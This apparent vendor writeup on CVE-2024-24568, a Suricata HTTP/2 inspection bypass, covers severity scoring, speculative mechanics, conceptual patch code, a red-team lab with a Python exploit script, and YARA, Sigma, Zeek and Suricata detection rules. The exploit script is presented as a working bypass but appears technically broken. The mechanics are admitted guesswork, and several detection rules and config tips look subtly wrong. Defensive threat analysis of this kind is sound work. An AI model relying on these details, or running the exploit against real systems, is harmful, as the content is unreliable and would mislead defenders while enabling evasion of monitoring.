CVE-2024-24568

Executive Summary

CVE-2024-24568 is a medium-severity vulnerability in Suricata, a widely used network Intrusion Detection System (IDS), Intrusion Prevention System (IPS), and Network Security Monitoring engine. The flaw allows crafted HTTP/2 traffic to bypass rules specifically designed to inspect HTTP2 headers. This bypass could enable an attacker to evade detection by security teams, potentially allowing malicious payloads or command-and-control (C2) traffic to traverse the network undetected. The vulnerability affects all versions prior to 7.0.3 and has been patched in that release. While no public proof-of-concept (PoC) or exploit code is currently available, the nature of the bypass makes it a significant concern for organizations relying on Suricata for network security monitoring.

Supply Chain & Package Security

Suricata is an open-source project maintained by the Open Information Security Foundation (OISF). The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core engine flaw. Organizations should verify the integrity of their Suricata binaries or source code before upgrading.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The low EPSS score (0.0%) indicates that exploitation is not currently widespread, but the low attack complexity and network-based vector make it a potential target for sophisticated adversaries.

Deep Dive & Mechanics

The vulnerability resides in Suricata's HTTP/2 protocol parser and rule engine. HTTP/2 uses a binary framing layer, where frames are multiplexed over a single TCP connection. Suricata's HTTP/2 inspection logic, prior to version 7.0.3, fails to properly handle certain crafted frame sequences or header combinations. Specifically, the engine may not correctly reassemble or interpret HTTP/2 headers when they are split across multiple frames or when specific flags (e.g., END_HEADERS) are manipulated.

An attacker can craft HTTP/2 traffic that:

• Splits header fields across multiple CONTINUATION frames.
• Uses invalid or unexpected frame ordering.
• Exploits race conditions in the parser's state machine.

This crafted traffic bypasses the rule-matching logic that inspects HTTP2 headers, allowing malicious content (e.g., SQL injection payloads, XSS, or C2 beacons) to pass through undetected.

Vulnerable vs. Patched Code

The exact code change is not publicly detailed, but the patch in version 7.0.3 likely involves:

• Improved state tracking for HTTP/2 header reassembly.
• Stricter validation of frame sequences and flags.
• Enhanced handling of CONTINUATION frames.

Vulnerable Code (Conceptual):

// Simplified vulnerable logic
if (frame.type == HEADERS) {
    process_headers(frame);
}
// Missing: check for CONTINUATION frames

Patched Code (Conceptual):

// Patched logic with proper state machine
if (frame.type == HEADERS || frame.type == CONTINUATION) {
    if (validate_frame_sequence(frame)) {
        process_headers(frame);
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Environment: Two VMs (Attacker: Kali Linux, Target: Ubuntu 22.04 with Suricata 7.0.2).
2. Tools: h2spec (HTTP/2 conformance testing), custom Python script using h2 library, curl with HTTP/2 support.
3. Steps:
   • Install Suricata 7.0.2 with default HTTP/2 rules.
   • Create a malicious HTTP/2 request that splits headers across multiple frames.
   • Send the request using a custom script.

Exploit Script (Python):

import socket
import h2.connection
import h2.events
import h2.config

def send_malicious_http2(host, port):
    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    sock = socket.create_connection((host, port))
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    # Craft headers split across frames
    headers = [
        (':method', 'GET'),
        (':path', '/'),
        (':authority', host),
        (':scheme', 'https'),
        ('malicious-header', 'payload')
    ]
    # Send first part of headers
    conn.send_headers(1, headers[:2], end_stream=False)
    sock.sendall(conn.data_to_send())
    # Send continuation with remaining headers
    conn.send_headers(1, headers[2:], end_stream=True)
    sock.sendall(conn.data_to_send())

    # Receive response
    data = sock.recv(65535)
    events = conn.receive_data(data)
    for event in events:
        if isinstance(event, h2.events.ResponseReceived):
            print("Response received")
    sock.close()

send_malicious_http2('target.local', 443)

Blue Team (Defender)

Detection Steps:

1. Monitor Suricata logs for unusual HTTP/2 frame sequences.
2. Enable debug logging for HTTP/2 parser: -l debug or set app-layer.protocols.http2.log-level: debug in suricata.yaml.
3. Use tcpdump to capture HTTP/2 traffic and analyze with Wireshark.
4. Check for alerts that should have fired but didn't (e.g., missing alerts on known malicious patterns).

Hunting Query (Zeek):

event http2_headers(c: connection, is_orig: bool, headers: HTTP2::Headers) {
    if ( |headers| > 10 ) {
        print fmt("Suspicious HTTP/2 headers count: %d", |headers|);
    }
}

Indicators of Compromise (IOCs)

• Network:
  • HTTP/2 frames with unusual CONTINUATION frame sequences.
  • Multiple HEADERS frames without END_HEADERS flag.
  • High number of small frames (potential fragmentation).
• Logs:
  • Suricata alerts for HTTP/2 parsing errors (e.g., http2_parse_error).
  • Missing alerts for known malicious patterns that should have triggered.
• File:
  • Suricata eve.json entries with event_type: http2 and unusual frame_type values.

Detection Engineering

YARA Rule

rule suricata_http2_bypass_cve_2024_24568 {
    meta:
        description = "Detects crafted HTTP/2 traffic attempting to bypass Suricata inspection"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-24568"
    strings:
        $http2_magic = { 50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 } // "PRI * HTTP/2.0"
        $continuation = { 09 } // CONTINUATION frame type
        $headers = { 01 } // HEADERS frame type
    condition:
        $http2_magic at 0 and
        #continuation > 5 and
        #headers > 3
}

Sigma Rule

title: Suricata HTTP/2 Header Inspection Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-24568 via crafted HTTP/2 traffic
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: http2
        frame_type: 
            - 'HEADERS'
            - 'CONTINUATION'
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate HTTP/2 traffic with many headers
level: medium

Suricata Rule

alert http2 any any -> any any (msg:"CVE-2024-24568 - HTTP/2 Header Inspection Bypass Attempt"; flow:to_server; http2.frame_type:HEADERS; http2.frame_type:CONTINUATION; threshold:type both, track by_src, count 5, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Suricata to version 7.0.3 or later.
2. Workaround: If upgrade is not possible, disable HTTP/2 inspection temporarily: app-layer.protocols.http2.enabled: no in suricata.yaml.
3. Network: Implement additional HTTP/2 inspection at the network edge (e.g., WAF, reverse proxy).
4. Monitoring: Enable detailed HTTP/2 logging and alert on parsing errors.
5. Validation: Test HTTP/2 rules with crafted traffic after patching.

Valters IT
DevSecOps & Cyber Threat Intelligence